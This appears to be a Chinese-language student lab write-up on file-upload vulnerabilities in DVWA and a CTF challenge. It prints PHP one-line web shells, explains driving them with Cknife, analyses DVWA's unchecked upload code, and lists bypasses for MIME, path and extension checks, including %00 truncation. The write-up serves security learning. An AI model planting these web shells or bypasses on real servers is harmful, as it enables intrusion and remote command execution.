上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力
木马
语言分类
ASP(Active Server Pages 动态服务器页面)
JSP(Java Server Pages java 服务器页面)
PHP(Hypertext Preprocessor 超文本预处理器)
功能分类
小马:(尤其指只具有文件传输和执行功能)的远程控制木马
大马
php一句话木马
1.GET方式
一句话木马:<?php echo shell_exec($_GET['a']);?>shell_exec():通过环境执行命令,并且将完整的输出以字符串的方式返回
进入dvwa,将安全等级设置为low,上传本地的一句话木马文件(.php),打开浏览器http://10.21.13.97/dvwa/hackable/uploads/pa.php,hackbar中输入相关指令
列出当前目录的文件:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=ls
列出目录:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=dir
查看文件的上一级目录:http://10.21.13.97/dvwa/hackable/uploads/pa.php?a=pwd
2.POST方式
一句话木马:<?php @eval($_POST['a']); ?>eval() :把字符串作为PHP代码执行
system():执行外部程序并显示输出
打开Post Data,输入相关指令:
列出当前目录的文件:a=system('ls');
列出目录:a=system('dir');
查看文件的上一级目录:a=system('pwd');
查看php信息:a=phpinfo();
cknife的使用
使用一句话木马上传网站取得网站的权限
运行环境:安装了JRE1.7+环境的所有操作系统
主要功能有:文件管理,虚拟终端,数据库管理
不同脚本语言下
ASP:
ASP.NET:
PHP:<?php @eval($_POST['Cknife']);?>
操作:①右键选择添加
②在地址栏里输入已经上传的包含一句话木马的文件
③地址后面的小框输入Cknife(根据写的一句话木马)
④根据需要输入配置
⑤选择脚本类型和字符编码
⑥添加
⑦选中url,右键相应需要的文件管理、数据库管理、终端模拟等
DAVW LOW等级源码分析<?php
if (isset($_POST['Upload'])) {
//isset检测变量是否设置 POST上传文件
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
//上传的路径为../../ hackable/uploads/
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
//上传路径加上上传的文件名
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
//这里只做是否上传成功的判断,因此所有格式的文件都能上传
echo '
';
echo 'Your image was not uploaded.';
echo '
'; }else {
echo '
';
echo $target_path . ' succesfully uploaded!';
echo '
'; } }?>
文件上传漏洞检测
1、客户端javascript检测:通常在本地检测文件的扩展名
2、服务端MIME类型检测:通常检测的是Content-Type内容
3、服务端目录路径检测:通常跟path参数相关的内容
4、服务端文件扩展名检测:通常检测跟文件extension相关的内容
5、服务端文件内容检测:检测文件内容是否合法或含有恶意代码
客户端javascript检测
方法一:禁用js
观察源代码,使用的脚本语言是js,可直接通过禁用js实现文件上传
方法二:修改文件格式
通过源代码可以发现只允许接受后缀名为.jpg/.png/.gif的文件,因此我们先把文件后缀改为允许的后缀,再抓包,在burpsuite中修改文件后缀名再上传
服务端检测绕过(MIME类型检测)
规定文件类型,因此我们在抓包后只需将文件类型改为许可的文件类型。
服务端目录路径检测
规定文件类型与路径,抓包后需要修改路径与文件名
其实此处还是有、、迷,因为当时只能从学姐的IP进去,菜刀也不好使,使用antsword才顺利找到文件,至于为什么。。。
学姐干货 ##:
上传时提供存储路劲为image/20160704/可以通过修改为image/20160704/evil.php%00来达到截断目的。后端程序会将该路径连接为image/20160704/evil.php%00filename.gif00截断导致最终存储的文件名为evil.php
有一些web应用程序有多个文件夹用来存储图片文件,所以为了标识上传的图片是属于哪个文件夹的,上传文件时会带上文件存储路劲。而此时如果对文件目录路劲检测不够完全,可以通过截断攻击。(如%00,windows下%80-%90)
服务端文件扩展名检测
学姐干货:
黑名单检测:
接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传
绕过:1、后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名evil.php改evil.Php
2、名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等
3、特殊文件名绕过(只适用windows,将文件名改为evil.php.或evil.php (注意这里有一个空格),在windows下,不允许这样的命名,所以会将.和空格自动去掉)。
4、0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。例如:1.php%00.jpg,验证扩展名是.jpg,但写入的时候是1.php文件
1.先写一个一句话木马.php
2.打开网页,
3.尝试上传.php文件
4.仅支持上传jpg,gif,png后缀的文件....okfine....说明文件后缀名是约束条件之一,那我们上传.jpg文件
5.又显示必须上传成后缀名为php的文件...
那么我们只能悄咪咪地截包,,,修改
6.上传pa.php,抓包,采用00截断法修改文件路径和文件后缀名
路径中直接输入pa.php%00.jpg,修改文件后缀,失败,很可能路径中%被转义了,因此我们选用先用空格标记位置,在路径中输入pa.php[space].jpg,再进入16进制修改表示空格的20为00,修改成功,找到flag